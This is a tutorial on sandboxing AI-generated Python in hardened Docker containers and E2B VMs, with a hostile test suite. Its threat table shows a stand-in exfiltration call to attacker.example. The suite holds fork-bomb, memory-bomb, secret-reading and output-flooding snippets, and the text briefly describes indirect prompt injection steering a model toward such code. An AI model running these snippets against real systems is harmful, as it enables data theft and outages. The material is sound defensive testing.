Tutorial
Run AI-generated code in a sandbox
Run model-written Python in a throwaway Docker container, then in an E2B sandbox, with time, memory, network and file limits, and a test suite of hostile code.
Bookmark
Bookmarks are kept in your free account, so you can find this page again on any device.
Sign in to bookmarkOn this page
When your application runs code that a model wrote, such as a data-analysis step, a chart, a calculation or a tool call expressed as a script, that code must run somewhere it cannot hurt you. The safe pattern is a throwaway environment for every run, with a time limit, a memory and process limit, no network unless the task needs it, no access to your files or secrets, and a cap on how much output goes back to the model. This tutorial builds that twice: first as a local Docker container you control, then as a hosted E2B sandbox, behind one small Python function, and tests both with a suite of hostile snippets.
This is about code your application executes on behalf of a model. It is a different problem from limiting what a coding agent such as Claude Code or Codex can do on your laptop; that is covered in permissions and sandboxing for coding agents. The code here was written on 25 November 2026 against Docker’s documented docker run options and e2b-code-interpreter 2.11.10.
What can go wrong
Model-written code is untrusted for two reasons. It can be plain wrong (an infinite loop, a 10 GB allocation, a million lines of output). And the model can be steered: if any of its input came from a web page, a document or an email, an attacker can ask it to write code that reads secrets or calls out to the internet. That is indirect prompt injection, and no prompt reliably stops it. The sandbox is the control that holds when the prompt does not.
| Threat | Example | Limit that stops it |
|---|---|---|
| Runaway time | while True: pass |
Wall-clock timeout, then kill |
| Runaway memory | bytearray(2 * 1024**3) |
Memory limit with no swap |
| Fork bomb | os.fork() in a loop |
Process (PID) limit |
| Data theft | read ~/.ssh/id_rsa, .env, cloud credentials |
No host files mounted, non-root user |
| Exfiltration | urlopen("https://attacker.example/?d=...") |
No network |
| Tampering | overwrite the script or anything else | Read-only filesystem, small writable /tmp |
| Context flooding | print a million characters | Cap output before it reaches the model |
1. Define the limits once
Create a folder and a virtual environment:
mkdir code-sandbox && cd code-sandbox
python3 -m venv .venv && source .venv/bin/activate
All the code lives in one file, run_sandboxed.py. Start with the limits and the result type, so both backends share them:
"""Run untrusted Python in a throwaway Docker container or an E2B sandbox, with limits."""
import os
import subprocess
import sys
import tempfile
import uuid
from dataclasses import dataclass
@dataclass
class Limits:
seconds: float = 10 # wall-clock time for the code
memory: str = "256m" # container memory, no swap
cpus: str = "1"
pids: int = 64 # stops fork bombs
output_bytes: int = 8_000 # what we pass back to the model
network: bool = False
@dataclass
class Result:
ok: bool
stdout: str
stderr: str
reason: str = "" # "timeout", "error", "killed" or ""
def clip(text: str, limit: int) -> str:
if len(text) <= limit:
return text
return text[:limit] + f"\n[... {len(text) - limit} more characters cut]"
Defaults are deny-by-default: no network, a short timeout, little memory. A caller who needs more asks for it explicitly, which makes it visible in code review. clip matters more than it looks: without it, one print in a loop can fill the model’s context window and cost you a large bill on the next turn.
2. Run the code in a throwaway container
Add the Docker backend to the same file:
IMAGE = "python:3.14-slim"
def run_in_docker(code: str, limits: Limits = Limits()) -> Result:
name = f"untrusted-{uuid.uuid4().hex[:12]}"
with tempfile.TemporaryDirectory() as work:
with open(os.path.join(work, "main.py"), "w") as f:
f.write(code)
cmd = [
"docker", "run", "--rm", "--name", name,
"--network", "bridge" if limits.network else "none",
"--memory", limits.memory, "--memory-swap", limits.memory,
"--cpus", limits.cpus,
"--pids-limit", str(limits.pids),
"--read-only",
"--tmpfs", "/tmp:rw,size=16m",
"--cap-drop", "ALL",
"--security-opt", "no-new-privileges",
"--user", "65534:65534",
"-v", f"{work}:/work:ro",
"-w", "/tmp",
IMAGE, "python", "/work/main.py",
]
try:
p = subprocess.run(cmd, capture_output=True, text=True, timeout=limits.seconds)
except subprocess.TimeoutExpired as e:
subprocess.run(["docker", "kill", name], capture_output=True)
out = e.stdout.decode() if isinstance(e.stdout, bytes) else (e.stdout or "")
return Result(False, clip(out, limits.output_bytes), "", "timeout")
reason = "" if p.returncode == 0 else ("killed" if p.returncode == 137 else "error")
return Result(p.returncode == 0, clip(p.stdout, limits.output_bytes), clip(p.stderr, limits.output_bytes), reason)
Each flag closes one row of the threat table. All are standard docker run options:
--rmand a fresh container per call: nothing persists between runs, so one run cannot leave a trap for the next.--network none: no network interface except loopback.--memorywith the same--memory-swap: a hard memory cap with no swap to spill into. The kernel kills the process when it exceeds it, which shows up as exit code 137.--pids-limit: caps the number of processes, which stops fork bombs.--read-onlyplus a small--tmpfs /tmp: the code can write scratch files and nothing else.--cap-drop ALL,no-new-privilegesand--user 65534:65534(thenobodyuser): no root, no Linux capabilities, no way to gain them through a setuid binary.-v {work}:/work:ro: the only host folder the container sees is a temporary one holding the script, mounted read-only. Never mount your project, your home folder or the Docker socket.
The timeout is enforced from outside. If the code is still running when subprocess.run gives up, the harness kills the container by name, so a hung run does not keep using CPU.
Pull the image once so the first run is not slow, then try it:
docker pull python:3.14-slim
echo 'print(sum(range(10)))' | python -c "import sys; from run_sandboxed import run_in_docker; print(run_in_docker(sys.stdin.read()))"
You should see Result(ok=True, stdout='45\n', stderr='', reason=''). A container start adds a second or so of overhead on a typical machine; measure it on yours.
3. Write a hostile test suite
A sandbox you have not attacked is a sandbox you are hoping works. Create hostile.py, one snippet per row of the threat table, each with a check that it was contained:
"""Code a model might write, by accident or because a prompt told it to. Each must be contained."""
import os
import sys
import tempfile
from run_sandboxed import Limits, run_in_docker, run_in_e2b
# A real file on the host, outside the sandbox's one read-only mount. Without a
# sandbox the code below could read it, so the test proves something.
SECRET = "host-only-marker-7f3a"
with tempfile.NamedTemporaryFile("w", suffix=".secret", delete=False) as f:
f.write(SECRET)
secret_path = f.name
CASES = {
"normal": ("print(sum(range(10)))", lambda r: r.ok and r.stdout.strip() == "45"),
"infinite loop": ("while True: pass", lambda r: r.reason == "timeout"),
"network": (
"import urllib.request\nurllib.request.urlopen('https://example.com', timeout=5)",
lambda r: not r.ok,
),
"read host secrets": (
f"print(open({secret_path!r}).read())",
lambda r: SECRET not in r.stdout,
),
"write outside tmp": ("open('/work/main.py', 'w').write('x')", lambda r: not r.ok),
"memory bomb": ("x = bytearray(2 * 1024**3)", lambda r: not r.ok),
"fork bomb": (
"import os\nfor _ in range(1000):\n os.fork()",
lambda r: not r.ok,
),
"huge output": ("print('A' * 1_000_000)", lambda r: len(r.stdout) < 9_000),
}
backend = run_in_e2b if "--e2b" in sys.argv else run_in_docker
limits = Limits(seconds=8)
failed = 0
for name, (code, contained) in CASES.items():
r = backend(code, limits)
good = contained(r)
failed += not good
print(f"{'PASS' if good else 'FAIL'} {name:<18} ok={r.ok!s:<5} reason={r.reason or '-':<8} {r.stderr.strip().splitlines()[-1][:60] if r.stderr.strip() else ''}")
os.unlink(secret_path)
sys.exit(1 if failed else 0)
It imports run_in_e2b, which you add in step 5; until then, comment that name out of the import.
4. Run the suite against Docker
python hostile.py
Every line should start with PASS, and the exit code should be 0. What each case should report:
| Case | Expected result |
|---|---|
| normal | ok=True, output 45 |
| infinite loop | reason=timeout after 8 seconds |
| network | an error such as a name-resolution failure, because there is no network |
| read host secrets | FileNotFoundError: the marker file exists on your machine, but the container’s /tmp is its own empty tmpfs and the host folder is never mounted |
| write outside tmp | OSError for a read-only file system |
| memory bomb | MemoryError, or reason=killed (exit 137) if the kernel kills it first |
| fork bomb | BlockingIOError or similar once the process limit is reached |
| huge output | ok=True but the stdout is clipped to about 8,000 characters |
If any line says FAIL, stop and find out why before you use the harness. The usual causes are a Docker setup that ignores memory limits (some rootless or old configurations do; docker info shows warnings) or a change to the flags.
Keep this suite. Run it in CI whenever you change the harness, the image or Docker itself.
5. Move to a hosted sandbox with E2B
Running containers yourself is fine on one server. It gets harder when your application runs in a serverless platform that has no Docker, or when you need hundreds of sandboxes at once. Hosted sandboxes such as E2B solve that: each sandbox is, in E2B’s words, “an isolated Linux VM”, created through an API and destroyed when you are done (E2B docs).
Install the SDK and set your key:
pip install e2b-code-interpreter==2.11.10
export E2B_API_KEY=e2b_...
Add the second backend to run_sandboxed.py, after run_in_docker:
def run_in_e2b(code: str, limits: Limits = Limits()) -> Result:
from e2b import TimeoutException
from e2b_code_interpreter import Sandbox
# The sandbox itself lives a little longer than the code may run, then is killed.
with Sandbox.create(timeout=int(limits.seconds) + 30, allow_internet_access=limits.network) as sbx:
try:
ex = sbx.run_code(code, timeout=limits.seconds)
except TimeoutException:
return Result(False, "", "", "timeout")
stdout = clip("".join(ex.logs.stdout), limits.output_bytes)
stderr = clip("".join(ex.logs.stderr), limits.output_bytes)
if ex.error:
return Result(False, stdout, clip(f"{ex.error.name}: {ex.error.value}", limits.output_bytes), "error")
return Result(True, stdout, stderr)
if __name__ == "__main__":
backend = run_in_e2b if "--e2b" in sys.argv else run_in_docker
print(backend(sys.stdin.read()))
How the limits map:
- Time. Two timeouts:
run_code(timeout=...)limits the code, andSandbox.create(timeout=...)is the sandbox’s own lifetime in seconds, so a sandbox you forget about still dies. Thewithblock kills it as soon as you are done. - Network. E2B sandboxes have internet access by default.
allow_internet_access=Falseturns it off; the docs say this is equivalent to denying all outbound traffic, and they also offer allow and deny lists if you need to reach one API (E2B internet access). - Files. The VM starts from E2B’s template, not your machine, so your files are not there unless you upload them with
sbx.files.write. Upload only what the task needs. - Memory and processes are bounded by the VM’s size rather than by flags you set per call.
Restore run_in_e2b in the import in hostile.py and run the suite against E2B:
python hostile.py --e2b
Expect the same PASS lines. Note why “read host secrets” passes here: not because of a read-only mount, but because your files were never on that VM. That is the point of a separate machine.
Which to use
| Docker on your server | E2B (hosted) | |
|---|---|---|
| Isolation | Containers share the host kernel; hardened flags matter | A separate VM per sandbox |
| Start-up | Container start on your hardware | An API call to create a VM |
| Runs where | Anywhere you run Docker | Anywhere with network access to E2B, including serverless platforms |
| Cost | Your servers | Per-second usage; see E2B’s pricing |
| Data | Never leaves your infrastructure | Code and data go to E2B |
| Best for | Internal tools, on-premises rules, steady load | Bursty load, many parallel sandboxes, no Docker available |
Containers share the host’s kernel, so a kernel bug can let code escape a container in a way it could not escape a VM. For code from untrusted users at scale, a VM-based sandbox (hosted, or a microVM runtime you operate) is the stronger default. For an internal tool where the model’s input comes from your own staff, the hardened container is usually enough.
Pitfalls
Mounting the project folder “just for this task”. The code can then read .env, .git and everything else in it. Copy the specific input file into the temporary folder instead.
Leaving the network on because one task needed it. Make network=True a per-call decision, and prefer an allow list for the one host you need.
Forgetting the output cap. A model that sees a million characters of output costs real money on the next turn and loses track of the task.
Trusting the result. Sandboxing contains what the code can do. It does not make the output correct or safe to act on. Treat the output as untrusted input, especially if it will be shown to users or passed to another tool.
Reusing one sandbox across users. A long-lived sandbox shared between users or sessions lets one run leave files or processes behind for the next. One sandbox per run, or at least per user session.
Next steps
- Limit what coding agents can do on your own machine with permissions and sandboxing for coding agents.
- See why agents increasingly write code to call tools in Code Mode and programmatic tool calling.
- Understand the attack this defends against in prompt injection basics.
- Add a human check before risky actions with human approval for agent actions.
Covers
- Tools
Check your understanding
Sandbox AI-generated code quiz
Why model-written code is untrusted, deny-by-default limits, the Docker flags that close each threat, a hostile test suite, E2B's hosted sandboxes, secrets and choosing between the two.
9 questions · pass mark 70%
Review
Related
- Permissions and sandboxing for coding agents
Set up Claude Code permission modes and rules, the Codex sandbox and approvals, and a dev container, so an agent can work without free rein.
- Sandbox
An isolated environment that limits what an agent or its code can read, write or reach on the network, so any mistakes stay contained.
- Prompt injection basics for builders
How direct and indirect prompt injection work, why agents with tools raise the stakes, and the design choices that limit the damage when no complete fix exists.
- Code Mode: when an agent writes code to call its tools
Claude Code's experimental Code Mode has Claude write JavaScript that calls its tools. How it works and what it changes for permissions, hooks and sandboxing.
- Least privilege
Granting an agent or tool only the permissions and data access its task requires, and nothing more, so a mistake does less damage.